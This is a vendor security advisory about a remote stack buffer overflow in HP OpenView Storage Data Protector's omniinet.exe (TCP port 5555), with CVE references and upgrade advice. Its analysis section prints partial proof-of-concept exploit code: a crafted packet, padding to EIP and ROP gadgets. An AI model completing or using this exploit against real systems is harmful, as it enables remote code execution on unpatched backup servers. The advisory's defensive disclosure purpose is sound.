Security News

2011-27012 HP OpenView Storage Data Protector Remote Buffer Oveflow Vulnerability

1. Affected Version

HP OpenView Storage Data Protector v6.20 running on Windows.
HP OpenView Storage Data Protector v6.11 running on Windows.
HP OpenView Storage Data Protector v6.10 running on Windows.
HP OpenView Storage Data Protector v6.00 running on Windows.

2. Description

HP Data Protector is an automated backup and recovery software for single-server to enterprise environments, supporting disk storage or tape storage targets.

Potential security vulnerabilities have been identified with HP OpenView Storage Data Protector. These vulnerabilities could be remotely exploited by executing arbitrary code.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
# pre
packet = ("\x00\x00\x27\xCA\xFF\xFE\x32\x00\x00\x00\x20\x00\x61\x00\x00\x00"
"\x20\x00\x61\x00\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00\x61\x00"
"\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00\x32\x00\x30\x00\x00\x00"
"\x20\x00\x61\x00\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00\x61\x00"
"\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00"
"\x61\x00\x00\x00\x20\x00\x61\x00\x00\x00\x20\x00")

# padding to EIP
packet +="A"* 2004
# Get a copy of ESP into a register for safekeeping
```

```
packet +="\x1f\x59\x37\x7c" # 0x7c37591f  PUSH ESP # ADD EAX,DWORD PTR DS:
[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN
packet += "\x44" * 4  # junk to pop into EBP

# Jump over the WPM parameters
packet += "\xfe\x9b\x35\x7c"  # 0x7c359bfe :  # ADD ESP,20 # RETN
packet += wpm
packet += "\x44" * 4   # filler
```

Table 1: The partial proof-of-concept code

The vulnerability is caused by improper boundary checking by omniinet.exe, when processing certain opcodes can be exploited to cause a stack-based buffer overflow via specially crafted packets sent to TCP port 5555. By sending requests with specially crafted parameters, the different bugs can be triggered.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 04/07/2011.
2. HP has provided the following procedure to resolve these vulnerabilities:
   - Upgrade to Data Protector A.06.20 or subsequent
   - Enable encrypted control communication services on cell server and all clients in cell.
   - The upgrade is available for download from http://hp.com/go/dataprotector then under 'Product Information' click on 'Trials and Demos'.

5. Reference

1. HP Support Document (ID: c02872182)
2. CVE-2011-1865
3. CVE-2011-1866